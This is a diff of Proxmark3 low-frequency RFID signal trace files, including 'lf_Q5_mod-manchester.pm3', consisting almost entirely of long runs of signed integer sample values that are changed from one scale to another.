+-71 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +124 +20 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +18 +-68 +-128 +-128 +-71 +55 +127 +123 +19 +-69 +-128 +-128 +-73 +57 +127 +121 +18 +-68 +-128 +-128 +-71 +53 +127 +122 +17 +-69 +-128 +-128 +-72 +53 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +57 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-69 +-128 +-128 +-72 +56 +127 +124 +17 +-67 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-74 +54 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-69 +-128 +-128 +-73 +56 +127 +124 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +53 +127 +121 +20 +-66 +-128 +-128 +-74 +52 +127 +122 +17 +-70 +-128 +-128 +-76 +55 +127 +120 +18 +-66 +-128 +-128 +-74 +53 +127 +119 +16 +-70 +-128 +-128 +-76 +55 +127 +120 +18 +-66 +-128 +-128 +-75 +51 +127 +123 +16 +-69 +-128 +-128 +-72 +53 +127 +120 +16 +-70 +-128 +-128 +-75 +54 +127 +121 +17 +-66 +-128 +-128 +-73 +57 +127 +123 +21 +-70 +-128 +-128 +-71 +56 +127 +123 +19 +-68 +-128 +-128 +-70 +55 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +122 +20 +-68 +-128 +-128 +-72 +56 +127 +124 +18 +-68 +-128 +-128 +-71 +56 +127 +124 +19 +-68 +-128 +-128 +-74 +53 +127 +119 +16 +-68 +-128 +-128 +-70 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +53 +127 +119 +16 +-70 +-128 +-128 +-76 +51 +127 +123 +16 +-68 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-73 +56 +127 +124 +17 +-67 +-128 +-128 +-71 +53 +127 +120 +16 +-70 +-128 +-128 +-75 +53 +127 +121 +16 +-67 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +20 +-68 +-128 +-128 +-72 +56 +127 +124 +17 +-66 +-128 +-128 +-73 +55 +127 +124 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +121 +20 +-67 +-128 +-128 +-76 +50 +127 +123 +16 +-68 +-128 +-128 +-73 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +56 +127 +122 +21 +-69 +-128 +-128 +-75 +53 +127 +123 +16 +-67 +-128 +-128 +-72 +55 +127 +123 +19 +-69 +-128 +-128 +-73 +56 +127 +124 +17 +-67 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +20 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +55 +127 +124 +20 +-68 +-128 +-128 +-73 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +124 +19 +-68 +-128 +-128 +-71 +53 +127 +120 +16 +-69 +-128 +-128 +-76 +55 +127 +120 +17 +-67 +-128 +-128 +-74 +52 +127 +122 +17 +-70 +-128 +-128 +-76 +54 +127 +121 +17 +-67 +-128 +-128 +-74 +52 +127 +121 +17 +-71 +-128 +-128 +-75 +51 +127 +123 +16 +-67 +-128 +-128 +-73 +55 +127 +127 +127 +49 +-43 +-105 +-128 +-128 +-104 +41 +127 +127 +127 +57 +-37 +-97 +-128 +-128 +-106 +34 +127 +127 +127 +50 +-43 +-101 +-128 +-128 +-97 +31 +127 +127 +127 +48 +-46 +-105 +-128 +-128 +-98 +26 +127 +127 +127 +44 +-48 +-106 +-128 +-128 +-102 +27 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-103 +27 +127 +127 +127 +44 +-49 +-110 +-128 +-107 +16 +111 +83 +-16 +-98 +-128 +-128 +-101 +29 +124 +100 +1 +-71 +-128 +-128 +-89 +40 +127 +109 +7 +-78 +-128 +-128 +-83 +46 +127 +113 +12 +-75 +-128 +-128 +-80 +49 +127 +117 +13 +-73 +-128 +-128 +-76 +50 +127 +120 +15 +-72 +-128 +-128 +-76 +53 +127 +120 +18 +-72 +-128 +-128 +-74 +51 +127 +122 +20 +-71 +-128 +-128 +-77 +51 +127 +120 +15 +-68 +-128 +-128 +-75 +54 +127 +122 +20 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-73 +55 +127 +124 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +121 +19 +-66 +-128 +-128 +-74 +54 +127 +124 +20 +-68 +-128 +-128 +-74 +52 +127 +121 +16 +-71 +-128 +-128 +-75 +53 +127 +123 +16 +-67 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +124 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +20 +-70 +-128 +-128 +-75 +51 +127 +124 +16 +-67 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +125 +17 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-68 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +18 +-69 +-128 +-128 +-71 +53 +127 +120 +16 +-69 +-128 +-128 +-75 +55 +127 +121 +17 +-66 +-128 +-128 +-73 +55 +127 +122 +20 +-67 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +17 +-68 +-128 +-128 +-72 +53 +127 +122 +18 +-70 +-128 +-128 +-71 +55 +127 +124 +19 +-69 +-128 +-128 +-75 +51 +127 +122 +17 +-71 +-128 +-128 +-76 +55 +127 +120 +17 +-66 +-128 +-128 +-74 +54 +127 +121 +19 +-66 +-128 +-128 +-73 +54 +127 +124 +19 +-68 +-128 +-128 +-73 +56 +127 +125 +17 +-66 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +17 +-69 +-128 +-128 +-73 +56 +127 +124 +19 +-69 +-128 +-128 +-74 +56 +127 +122 +17 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-68 +-128 +-128 +-128 +-66 +62 +127 +127 +127 +76 +-22 +-102 +-128 +-128 +-76 +47 +127 +127 +127 +61 +-34 +-97 +-128 +-128 +-105 +38 +127 +127 +127 +54 +-40 +-102 +-128 +-128 +-110 +32 +127 +127 +127 +47 +-42 +-105 +-128 +-128 +-98 +29 +127 +127 +127 +47 +-46 +-108 +-128 +-128 +-100 +27 +127 +127 +127 +45 +-48 +-108 +-128 +-106 +18 +110 +85 +-16 +-97 +-128 +-128 +-100 +29 +126 +100 +-1 +-70 +-128 +-128 +-87 +38 +127 +108 +6 +-79 +-128 +-128 +-81 +46 +127 +115 +11 +-75 +-128 +-128 +-78 +48 +127 +118 +14 +-72 +-128 +-128 +-76 +52 +127 +120 +15 +-71 +-128 +-128 +-74 +52 +127 +120 +16 +-71 +-128 +-128 +-74 +55 +127 +123 +16 +-68 +-128 +-128 +-76 +50 +127 +124 +15 +-69 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +121 +18 +-69 +-128 +-128 +-71 +53 +127 +121 +19 +-66 +-128 +-128 +-73 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +20 +-70 +-128 +-128 +-73 +55 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-70 +54 +127 +124 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +20 +-66 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-74 +53 +127 +119 +15 +-70 +-128 +-128 +-75 +54 +127 +122 +17 +-67 +-128 +-128 +-71 +54 +127 +123 +17 +-70 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-71 +53 +127 +119 +15 +-71 +-128 +-128 +-76 +51 +127 +124 +16 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-71 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-71 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +17 +-68 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-75 +51 +127 +124 +16 +-68 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-73 +56 +127 +124 +18 +-68 +-128 +-128 +-74 +53 +127 +120 +17 +-71 +-128 +-128 +-74 +53 +127 +119 +15 +-71 +-128 +-128 +-75 +52 +127 +124 +16 +-67 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +17 +-69 +-128 +-128 +-128 +-66 +62 +127 +127 +127 +74 +-21 +-101 +-128 +-128 +-77 +47 +127 +127 +127 +60 +-34 +-112 +-128 +-128 +-104 +38 +127 +127 +127 +54 +-41 +-102 +-128 +-128 +-110 +32 +127 +127 +127 +50 +-43 +-105 +-128 +-128 +-98 +30 +127 +127 +127 +46 +-46 +-107 +-128 +-128 +-99 +25 +127 +127 +127 +43 +-50 +-109 +-128 +-128 +-102 +26 +127 +127 +127 +41 +-50 +-109 +-128 +-128 +-104 +22 +127 +127 +127 +45 +-47 +-109 +-128 +-128 +-104 +27 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-102 +25 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-102 +24 +127 +127 +127 +42 +-50 +-111 +-128 +-128 +-104 +26 +127 +127 +127 +40 +-51 +-110 +-128 +-128 +-106 +22 +127 +127 +127 +43 +-47 +-111 +-128 +-108 +15 +110 +83 +-16 +-98 +-128 +-128 +-101 +25 +122 +96 +-4 +-72 +-128 +-128 +-90 +39 +127 +110 +5 +-78 +-128 +-128 +-85 +44 +127 +114 +9 +-75 +-128 +-128 +-81 +48 +127 +117 +13 +-73 +-128 +-128 +-75 +52 +127 +120 +16 +-71 +-128 +-128 +-74 +51 +127 +120 +16 +-71 +-128 +-128 +-74 +53 +127 +122 +17 +-70 +-128 +-128 +-73 +53 +127 +121 +17 +-68 +-128 +-128 +-72 +53 +127 +119 +15 +-70 +-128 +-128 +-76 +56 +127 +120 +16 +-67 +-128 +-128 +-73 +55 +127 +122 +17 +-70 +-128 +-128 +-74 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +17 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-74 +54 +127 +125 +17 +-67 +-128 +-128 +-75 +52 +127 +124 +16 +-67 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +20 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +55 +127 +124 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-72 +56 +127 +120 +19 +-66 +-128 +-128 +-73 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +18 +-70 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-74 +53 +127 +120 +16 +-71 +-128 +-128 +-76 +52 +127 +122 +16 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-128 +-67 +62 +127 +127 +127 +76 +-22 +-102 +-128 +-128 +-77 +47 +127 +127 +127 +60 +-33 +-97 +-128 +-128 +-103 +36 +127 +127 +127 +52 +-42 +-100 +-128 +-128 +-111 +33 +127 +127 +127 +49 +-44 +-106 +-128 +-128 +-100 +26 +127 +127 +127 +44 +-45 +-109 +-128 +-128 +-101 +28 +127 +127 +127 +46 +-47 +-108 +-128 +-128 +-101 +26 +127 +113 +11 +-76 +-128 +-128 +-67 +40 +127 +105 +4 +-82 +-128 +-128 +-69 +39 +127 +107 +6 +-80 +-128 +-128 +-67 +44 +127 +116 +11 +-76 +-128 +-128 +-81 +48 +127 +118 +13 +-69 +-128 +-128 +-76 +53 +127 +119 +18 +-68 +-128 +-128 +-77 +50 +127 +122 +15 +-69 +-128 +-128 +-74 +54 +127 +121 +17 +-70 +-128 +-128 +-72 +54 +127 +122 +19 +-69 +-128 +-128 +-72 +54 +127 +122 +19 +-69 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-70 +54 +127 +123 +18 +-68 +-128 +-128 +-70 +54 +127 +123 +18 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +55 +127 +124 +17 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-70 +54 +127 +124 +20 +-68 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +21 +-69 +-128 +-128 +-75 +51 +127 +123 +16 +-67 +-128 +-128 +-74 +52 +127 +122 +17 +-71 +-128 +-128 +-76 +54 +127 +121 +18 +-66 +-128 +-128 +-73 +54 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +122 +17 +-70 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-73 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +121 +19 +-66 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +54 +127 +122 +18 +-67 +-128 +-128 +-71 +54 +127 +122 +20 +-65 +-128 +-128 +-73 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +55 +127 +122 +21 +-67 +-128 +-128 +-75 +52 +127 +122 +16 +-67 +-128 +-128 +-74 +54 +127 +123 +18 +-68 +-128 +-128 +-71 +53 +127 +122 +17 +-68 +-128 +-128 +-71 +54 +127 +122 +17 +-69 +-128 +-128 +-71 +54 +127 +123 +19 +-69 +-128 +-128 +-74 +55 +127 +123 +18 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +56 +127 +121 +20 +-67 +-128 +-128 +-75 +52 +127 +123 +17 +-67 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +57 +127 +124 +17 +-67 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +56 +127 +127 +127 +46 +-43 +-102 +-128 +-128 +-103 +42 +127 +127 +127 +61 +-34 +-98 +-128 +-128 +-106 +34 +127 +127 +127 +49 +-44 +-102 +-128 +-128 +-112 +31 +127 +127 +127 +48 +-45 +-107 +-128 +-128 +-100 +29 +127 +127 +127 +46 +-47 +-108 +-128 +-128 +-101 +28 +127 +127 +127 +44 +-48 +-110 +-128 +-128 +-101 +26 +127 +127 +127 +43 +-49 +-109 +-128 +-106 +15 +112 +83 +-17 +-97 +-128 +-128 +-100 +28 +126 +100 +-2 +-70 +-128 +-128 +-87 +38 +127 +109 +6 +-80 +-128 +-128 +-83 +44 +127 +115 +11 +-76 +-128 +-128 +-80 +50 +127 +117 +15 +-74 +-128 +-128 +-77 +52 +127 +121 +16 +-71 +-128 +-128 +-75 +52 +127 +122 +17 +-70 +-128 +-128 +-76 +51 +127 +121 +16 +-71 +-128 +-128 +-128 +-68 +61 +127 +127 +127 +74 +-22 +-103 +-128 +-128 +-80 +49 +127 +127 +127 +60 +-34 +-97 +-128 +-128 +-105 +37 +127 +127 +127 +52 +-41 +-102 +-128 +-128 +-111 +30 +127 +127 +127 +46 +-46 +-104 +-128 +-128 +-99 +30 +127 +127 +127 +46 +-47 +-108 +-128 +-128 +-100 +27 +127 +127 +127 +45 +-48 +-108 +-128 +-106 +18 +111 +84 +-14 +-80 +-128 +-128 +-101 +29 +126 +100 +-1 +-69 +-128 +-128 +-87 +38 +127 +106 +4 +-80 +-128 +-128 +-86 +44 +127 +112 +9 +-73 +-128 +-128 +-79 +49 +127 +117 +14 +-73 +-128 +-128 +-76 +51 +127 +121 +16 +-71 +-128 +-128 +-76 +52 +127 +122 +16 +-70 +-128 +-128 +-73 +54 +127 +122 +17 +-70 +-128 +-128 +-73 +53 +127 +120 +17 +-68 +-128 +-128 +-72 +54 +127 +122 +17 +-68 +-128 +-128 +-72 +53 +127 +121 +19 +-68 +-128 +-128 +-73 +55 +127 +122 diff --git a/traces/lf_Q5_mod-manchester.pm3 b/traces/lf_Q5_mod-manchester.pm3 index 5788a6209..8a7dfe946 100644 --- a/traces/lf_Q5_mod-manchester.pm3 +++ b/traces/lf_Q5_mod-manchester.pm3 @@ -1,24000 +1,24000 @@ -79 -77 -74 -72 -68 -66 -61 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -100 -93 -89 -84 -81 -78 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -92 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --98 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -78 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -89 -85 -82 -80 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --98 -109 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -93 -89 -85 -83 -79 -77 -75 -72 -68 65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -82 -78 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --98 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -100 -93 -89 -85 -82 -79 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -100 -94 -89 -84 -82 -79 -77 -74 -71 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --98 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -83 -80 -77 -74 -72 -68 -64 -60 -57 -52 -48 -44 -40 -37 -33 -30 -28 -25 -22 -20 -19 -18 -16 -15 -14 -12 -11 -9 -8 -8 -7 -6 -5 -5 -4 -4 -4 -3 -3 -2 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --90 --98 --91 --85 --64 --75 --54 --65 --62 --58 --54 --50 --47 --45 --42 --39 --37 --34 --31 --30 --28 --27 --24 --23 --22 --20 --19 --17 --16 --16 --14 --13 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -114 -109 -103 -100 -95 -92 -88 -84 -80 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -128 -112 -102 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -89 -85 -82 -80 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --89 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -111 -101 -93 -88 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -110 -101 -94 -89 -85 -82 -79 -77 -74 -72 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -57 -52 -48 -44 -40 -36 -33 -30 -27 -24 -22 -21 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -4 -4 -3 -2 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 --92 --85 --64 --75 --55 --66 --62 --58 --54 --51 --47 --44 --42 --38 --36 --34 --32 --30 --27 --26 --24 --22 --20 --19 --18 --18 --16 --16 --15 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -124 -114 -108 -103 -100 -95 -92 -87 -84 -79 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --95 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -83 -80 -78 -75 -72 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -93 -88 -85 -82 -79 -77 -74 -72 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -82 -79 -77 -74 -72 -68 -65 -61 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -88 -84 -82 -79 -77 -74 -71 -68 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 